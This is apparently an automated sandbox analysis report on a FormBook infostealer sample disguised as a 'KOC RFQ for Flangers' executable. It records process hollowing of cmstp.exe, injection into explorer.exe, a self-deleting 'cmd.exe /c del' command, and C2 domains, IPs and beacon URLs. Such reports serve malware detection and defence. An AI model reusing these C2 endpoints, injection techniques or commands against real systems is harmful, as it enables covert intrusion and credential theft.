Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508B1E1 mov eax, dword ptr fs:[00000030h]	8_2_0508B1E1
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508B1E1 mov eax, dword ptr fs:[00000030h]	8_2_0508B1E1
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051141E8 mov eax, dword ptr fs:[00000030h]	8_2_051141E8
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05154015 mov eax, dword ptr fs:[00000030h]	8_2_05154015
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05154015 mov eax, dword ptr fs:[00000030h]	8_2_05154015
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05107016 mov eax, dword ptr fs:[00000030h]	8_2_05107016
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05107016 mov eax, dword ptr fs:[00000030h]	8_2_05107016
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05107016 mov eax, dword ptr fs:[00000030h]	8_2_05107016
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509B02A mov eax, dword ptr fs:[00000030h]	8_2_0509B02A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509B02A mov eax, dword ptr fs:[00000030h]	8_2_0509B02A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509B02A mov eax, dword ptr fs:[00000030h]	8_2_0509B02A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0509B02A mov eax, dword ptr fs:[00000030h]	8_2_0509B02A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B002D mov eax, dword ptr fs:[00000030h]	8_2_050B002D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B002D mov eax, dword ptr fs:[00000030h]	8_2_050B002D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B002D mov eax, dword ptr fs:[00000030h]	8_2_050B002D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B002D mov eax, dword ptr fs:[00000030h]	8_2_050B002D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B002D mov eax, dword ptr fs:[00000030h]	8_2_050B002D
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A0050 mov eax, dword ptr fs:[00000030h]	8_2_050A0050
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050A0050 mov eax, dword ptr fs:[00000030h]	8_2_050A0050
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05151074 mov eax, dword ptr fs:[00000030h]	8_2_05151074
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05142073 mov eax, dword ptr fs:[00000030h]	8_2_05142073
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05089080 mov eax, dword ptr fs:[00000030h]	8_2_05089080
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05103884 mov eax, dword ptr fs:[00000030h]	8_2_05103884
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05103884 mov eax, dword ptr fs:[00000030h]	8_2_05103884
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050C90AF mov eax, dword ptr fs:[00000030h]	8_2_050C90AF
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B20A0 mov eax, dword ptr fs:[00000030h]	8_2_050B20A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B20A0 mov eax, dword ptr fs:[00000030h]	8_2_050B20A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B20A0 mov eax, dword ptr fs:[00000030h]	8_2_050B20A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B20A0 mov eax, dword ptr fs:[00000030h]	8_2_050B20A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B20A0 mov eax, dword ptr fs:[00000030h]	8_2_050B20A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B20A0 mov eax, dword ptr fs:[00000030h]	8_2_050B20A0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BF0BF mov ecx, dword ptr fs:[00000030h]	8_2_050BF0BF
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BF0BF mov eax, dword ptr fs:[00000030h]	8_2_050BF0BF
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BF0BF mov eax, dword ptr fs:[00000030h]	8_2_050BF0BF
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511B8D0 mov eax, dword ptr fs:[00000030h]	8_2_0511B8D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511B8D0 mov ecx, dword ptr fs:[00000030h]	8_2_0511B8D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511B8D0 mov eax, dword ptr fs:[00000030h]	8_2_0511B8D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511B8D0 mov eax, dword ptr fs:[00000030h]	8_2_0511B8D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511B8D0 mov eax, dword ptr fs:[00000030h]	8_2_0511B8D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0511B8D0 mov eax, dword ptr fs:[00000030h]	8_2_0511B8D0
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050858EC mov eax, dword ptr fs:[00000030h]	8_2_050858EC
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514131B mov eax, dword ptr fs:[00000030h]	8_2_0514131B
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508DB40 mov eax, dword ptr fs:[00000030h]	8_2_0508DB40
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05158B58 mov eax, dword ptr fs:[00000030h]	8_2_05158B58
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508F358 mov eax, dword ptr fs:[00000030h]	8_2_0508F358
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0508DB60 mov ecx, dword ptr fs:[00000030h]	8_2_0508DB60
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B3B7A mov eax, dword ptr fs:[00000030h]	8_2_050B3B7A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B3B7A mov eax, dword ptr fs:[00000030h]	8_2_050B3B7A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05091B8F mov eax, dword ptr fs:[00000030h]	8_2_05091B8F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05091B8F mov eax, dword ptr fs:[00000030h]	8_2_05091B8F
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0513D380 mov ecx, dword ptr fs:[00000030h]	8_2_0513D380
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050BB390 mov eax, dword ptr fs:[00000030h]	8_2_050BB390
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B2397 mov eax, dword ptr fs:[00000030h]	8_2_050B2397
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_0514138A mov eax, dword ptr fs:[00000030h]	8_2_0514138A
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B4BAD mov eax, dword ptr fs:[00000030h]	8_2_050B4BAD
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B4BAD mov eax, dword ptr fs:[00000030h]	8_2_050B4BAD
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B4BAD mov eax, dword ptr fs:[00000030h]	8_2_050B4BAD
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_05155BA5 mov eax, dword ptr fs:[00000030h]	8_2_05155BA5
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051053CA mov eax, dword ptr fs:[00000030h]	8_2_051053CA
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_051053CA mov eax, dword ptr fs:[00000030h]	8_2_051053CA
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050ADBE9 mov eax, dword ptr fs:[00000030h]	8_2_050ADBE9
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B03E2 mov eax, dword ptr fs:[00000030h]	8_2_050B03E2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B03E2 mov eax, dword ptr fs:[00000030h]	8_2_050B03E2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B03E2 mov eax, dword ptr fs:[00000030h]	8_2_050B03E2
Source: C:\Windows\SysWOW64\cmstp.exe	Code function: 8_2_050B03E2 mov eax, dword ptr fs:[00000030h]	8_2_050B03E2

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.yihetubu.com
Source: C:\Windows\explorer.exe	Network Connect: 52.14.32.15 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.lovelivehuntingtonbeach.com
Source: C:\Windows\explorer.exe	Network Connect: 184.168.131.241 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.jackgaughan.net
Source: C:\Windows\explorer.exe	Domain query: www.blissburg.site
Source: C:\Windows\explorer.exe	Network Connect: 172.67.175.134 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.83.72.159 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.woxingame.com
Source: C:\Windows\explorer.exe	Domain query: www.ethnicbucket.com
Source: C:\Windows\explorer.exe	Network Connect: 203.170.80.250 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.getemcooking.com
Source: C:\Windows\explorer.exe	Domain query: www.svenskagourmet.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.yunastone.com
Source: C:\Windows\explorer.exe	Domain query: www.postingyourvideos.com
Source: C:\Windows\explorer.exe	Domain query: www.worldleadersretail.com

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Section loaded: unknown target: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Section loaded: unknown target: C:\Windows\SysWOW64\cmstp.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Thread register set: target process: 3424			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Thread register set: target process: 3424			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Section unmapped: C:\Windows\SysWOW64\cmstp.exe base address: F30000

Jump to behavior

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe	Process created: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\cmstp.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe'			Jump to behavior

Source: explorer.exe, 00000004.00000000.665411619.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000004.00000000.696683358.0000000001080000.00000002.00000001.sdmp, cmstp.exe, 00000008.00000002.918782761.0000000003910000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000004.00000000.680034083.0000000005E50000.00000004.00000001.sdmp, cmstp.exe, 00000008.00000002.918782761.0000000003910000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.696683358.0000000001080000.00000002.00000001.sdmp, cmstp.exe, 00000008.00000002.918782761.0000000003910000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.696683358.0000000001080000.00000002.00000001.sdmp, cmstp.exe, 00000008.00000002.918782761.0000000003910000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.685413556.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe

Code function: 0_2_004059FF GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

0_2_004059FF

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000008.00000002.918706989.00000000034B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.665825514.0000000002180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.660981258.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717113391.00000000008B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.716850286.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918181360.0000000000E70000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.717131091.00000000008E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.918730600.00000000034E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.705998096.0000000004DE6000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection512	Virtualization/Sandbox Evasion3	Input Capture1	Security Software Discovery131	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Shared Modules1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection512	LSASS Memory	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Clipboard Data1	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing11	LSA Secrets	File and Directory Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery13	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
RE; KOC RFQ for Flangers - RFQ 22965431.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nsf9A32.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.2.cmstp.exe.334c168.2.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.2180000.2.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
0.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
0.0.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
1.2.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
1.1.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
1.0.RE; KOC RFQ for Flangers - RFQ 22965431.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1137482	Download File
8.2.cmstp.exe.5597960.5.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.woxingame.com/u6e4/?t4qdXV=9rE/Ks+RPzf53nSCy0UMAVO/zIaWjpJDhxMXvZjTDQIR09Z4R8LijSxlwajnAMXj98rk&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.jackgaughan.net/u6e4/?t4qdXV=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.worldleadersretail.com/u6e4/?t4qdXV=LIxE2WrI46mvj7W57xDFy09FTT0JDHaGVlnSUbgkNeRFJqaK8aSY0aAsU1uS13xjmxMv&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.ethnicbucket.com/u6e4/?t4qdXV=1Ag9ExnESK7U82VQOm1M+YnyBIbP0hMcKxvGolus3vwkBQCEu8PVj/BfwiE3/mbWqrPj&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.yihetubu.com/u6e4/?t4qdXV=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.lovelivehuntingtonbeach.com/u6e4/?t4qdXV=CbISCmB8sALYRm43rvC4fcDq5pH3eBLJsB81uBg49gbXdFC2F2f7O9412Hx1L/M35YRT&irj=3fI8l	0%	Avira URL Cloud	safe
www.yunastone.com/u6e4/	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.blissburg.site/u6e4/?t4qdXV=AsQ3LTxB6JDgjycstGcHMn5yf4EAfqSQ7ymvrjSnYLkUc6ivScYNj7IBAsLl1nyAlkLj&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.svenskagourmet.com/u6e4/?t4qdXV=nbIk/W4He5pEO10O42RPfud1B4qKkcIU8tgfj5p6eYWGlacmbNOaBhLsz0ZNYc8flD0M&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.postingyourvideos.com/u6e4/?t4qdXV=H2bTtnUfaNTDdYSmtEWFeD7sEtgyf8lXRu6X46uTKdx+YOLZfjgo+Z2uQhG3A01bXoBA&irj=3fI8l	0%	Avira URL Cloud	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
prod-sav-park-lb01-1919960993.us-east-2.elb.amazonaws.com	52.14.32.15	true	false	high
worldleadersretail.com	34.102.136.180	true	false	unknown
postingyourvideos.com	34.102.136.180	true	false	unknown
www.yihetubu.com	172.67.175.134	true	true	unknown
www.jackgaughan.net	154.83.72.159	true	true	unknown
lovelivehuntingtonbeach.com	184.168.131.241	true	true	unknown
svenskagourmet.com	34.102.136.180	true	false	unknown
ethnicbucket.com	34.102.136.180	true	false	unknown
www.blissburg.site	203.170.80.250	true	true	unknown
www.woxingame.com	unknown	unknown	true	unknown
www.ethnicbucket.com	unknown	unknown	true	unknown
www.getemcooking.com	unknown	unknown	true	unknown
www.svenskagourmet.com	unknown	unknown	true	unknown
www.lovelivehuntingtonbeach.com	unknown	unknown	true	unknown
www.yunastone.com	unknown	unknown	true	unknown
www.uxdnxodpo.icu	unknown	unknown	true	unknown
www.postingyourvideos.com	unknown	unknown	true	unknown
www.worldleadersretail.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.woxingame.com/u6e4/?t4qdXV=9rE/Ks+RPzf53nSCy0UMAVO/zIaWjpJDhxMXvZjTDQIR09Z4R8LijSxlwajnAMXj98rk&irj=3fI8l	true	Avira URL Cloud: safe	unknown
http://www.jackgaughan.net/u6e4/?t4qdXV=a0+uwTFn5nNVUPHoKe2kISzIrov1rZSfduXEMVOsrOurYOD9M3ct8u5Em4BSL0WuodEf&irj=3fI8l	true	Avira URL Cloud: safe	unknown
http://www.worldleadersretail.com/u6e4/?t4qdXV=LIxE2WrI46mvj7W57xDFy09FTT0JDHaGVlnSUbgkNeRFJqaK8aSY0aAsU1uS13xjmxMv&irj=3fI8l	false	Avira URL Cloud: safe	unknown
http://www.ethnicbucket.com/u6e4/?t4qdXV=1Ag9ExnESK7U82VQOm1M+YnyBIbP0hMcKxvGolus3vwkBQCEu8PVj/BfwiE3/mbWqrPj&irj=3fI8l	false	Avira URL Cloud: safe	unknown
http://www.yihetubu.com/u6e4/?t4qdXV=IHGRx2D03MO2Li40IzUvs7zF3B/N+nlQ0tWfuVZKRE1k94k9L8v4sWIwR5z1KUInAjtt&irj=3fI8l	true	Avira URL Cloud: safe	unknown
http://www.lovelivehuntingtonbeach.com/u6e4/?t4qdXV=CbISCmB8sALYRm43rvC4fcDq5pH3eBLJsB81uBg49gbXdFC2F2f7O9412Hx1L/M35YRT&irj=3fI8l	true	Avira URL Cloud: safe	unknown
www.yunastone.com/u6e4/	true	Avira URL Cloud: safe	low
http://www.blissburg.site/u6e4/?t4qdXV=AsQ3LTxB6JDgjycstGcHMn5yf4EAfqSQ7ymvrjSnYLkUc6ivScYNj7IBAsLl1nyAlkLj&irj=3fI8l	true	Avira URL Cloud: safe	unknown
http://www.svenskagourmet.com/u6e4/?t4qdXV=nbIk/W4He5pEO10O42RPfud1B4qKkcIU8tgfj5p6eYWGlacmbNOaBhLsz0ZNYc8flD0M&irj=3fI8l	false	Avira URL Cloud: safe	unknown
http://www.postingyourvideos.com/u6e4/?t4qdXV=H2bTtnUfaNTDdYSmtEWFeD7sEtgyf8lXRu6X46uTKdx+YOLZfjgo+Z2uQhG3A01bXoBA&irj=3fI8l	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
